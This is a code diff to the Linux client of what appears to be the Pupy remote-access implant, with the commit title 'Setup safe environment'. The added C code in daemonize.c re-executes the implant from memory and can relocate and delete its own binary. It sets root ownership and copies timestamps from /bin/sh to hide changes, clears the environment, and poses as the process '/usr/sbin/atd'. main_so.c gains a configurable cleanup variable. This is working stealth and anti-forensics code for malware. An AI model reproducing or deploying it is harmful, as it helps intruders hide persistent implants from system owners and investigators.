Setup "safe" environment

client/sources-linux/daemonize.c

@@ -1,10 +1,36 @@
 #include <stdlib.h>
 #include <sys/types.h>
 #include <sys/stat.h>
+#include <sys/wait.h>
 #include <stdlib.h>
 #include <stdio.h>
 #include <fcntl.h>
 #include <linux/fs.h>
+#include <unistd.h>
+
+#ifndef DEFAULT_MTIME_FROM
+#define DEFAULT_MTIME_FROM "/bin/sh"
+#endif
+
+#ifndef DEFAULT_ENV_SA0
+#define DEFAULT_ENV_SA0 "__SA0"
+#endif
+
+#ifndef DEFAULT_ENV_SCWD
+#define DEFAULT_ENV_SCWD "__SCWD"
+#endif
+
+#ifndef DEFAULT_ENV_CLEANUP
+#define DEFAULT_ENV_CLEANUP "__CLEANUP"
+#endif
+
+#ifndef DEFAULT_ENV_MOVE
+#define DEFAULT_ENV_MOVE "__MOVE"
+#endif
+
+#ifndef DEFAULT_ARGV0
+#define DEFAULT_ARGV0 "/usr/sbin/atd"
+#endif
 
 #include "daemonize.h"
 
@@ -14,6 +40,95 @@ int daemonize(bool exit_parent) {
 
 	int pipes[2];
 
+    /* Cleanup environment and reexec */
+    char self[PATH_MAX] = {};
+
+    if (getenv("PATH") && readlink("/proc/self/exe", self, sizeof(self)-1) != -1) {
+        char *set_argv0 = getenv(DEFAULT_ENV_SA0);
+		char *set_cwd = getenv(DEFAULT_ENV_SCWD);
+		char *cleanup = getenv(DEFAULT_ENV_CLEANUP);
+		char *move = getenv(DEFAULT_ENV_MOVE);
+
+        int fd = -1;
+
+        struct stat _stat = {};
+        stat(DEFAULT_MTIME_FROM, &_stat);
+
+        if (move) {
+            fd = open(self, O_RDONLY);
+            unlink(move);
+            int fd2 = open(move, O_RDWR | O_CREAT, 0700);
+            if (fd2 == -1) {
+                move = NULL;
+            } else {
+                for (;;) {
+                    char buffer[4096] = {};
+                    int r = read(fd, buffer, sizeof(buffer));
+                    if (r <= 0) {
+                        close(fd);
+                        if (r == -1) {
+                            unlink(move);
+                            move = NULL;
+                        } else {
+                            unlink(self);
+                            fchmod(fd2, 0511);
+                            fchown(fd2, 0, 0);
+
+                            if (_stat.st_mtime) {
+                                struct timespec ts[2] = {
+                                    _stat.st_atim, _stat.st_mtim
+                                };
+                                futimens(fd2, ts);
+                            }
+                        }
+                        close(fd2);
+                        break;
+                    }
+                    int w = write(fd2, buffer, r);
+                    if (w < 0) {
+                        close(fd2);
+                        close(fd);
+                        unlink(move);
+                        move = NULL;
+                        break;
+                    }
+                }
+            }
+        }
+
+        fd = open(move? move:self, O_CLOEXEC | O_RDONLY);
+        if (fd == -1) {
+            fd = open(move? move:self, O_RDONLY);
+        }
+
+        if (fd != -1) {
+            if (cleanup) {
+                unlink(move? move:self);
+            }
+
+            char *const argv[] = {
+                set_argv0? set_argv0 : DEFAULT_ARGV0,
+                NULL
+            };
+
+            char *const env[] = {NULL};
+
+            if (set_cwd) {
+                chdir(set_cwd? set_cwd : "/");
+            }
+
+            fexecve(fd, argv, env);
+
+            /* We shouldn't be here */
+            close(fd);
+        }
+    }
+
+    /* Set default "safe" path */
+    setenv("PATH", "/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin", 1);
+
+    /* Daemonize */
+
 	if (!exit_parent) {
 		if (pipe(pipes) == -1) {
 			return -1;

client/sources-linux/main_so.c

@@ -9,6 +9,10 @@
 #include "pupy_load.h"
 #include "debug.h"
 
+#ifndef DEFAULT_ENV_CLEANUP
+#define DEFAULT_ENV_CLEANUP "__CLEANUP"
+#endif
+
 static pthread_t thread_id;
 
 static int __argc = 0;
@@ -59,7 +63,7 @@ void loader() {
 	pthread_attr_init(&attr);
 
 	const char *ldpreload = getenv("LD_PRELOAD");
-	const char *cleanup = getenv("CLEANUP");
+	const char *cleanup = getenv(DEFAULT_ENV_CLEANUP);
 
 	if (cleanup && ldpreload && !strcmp(cleanup, "1")) {
 		dprint("Cleanup requested. Cleanup %s\n", ldpreload);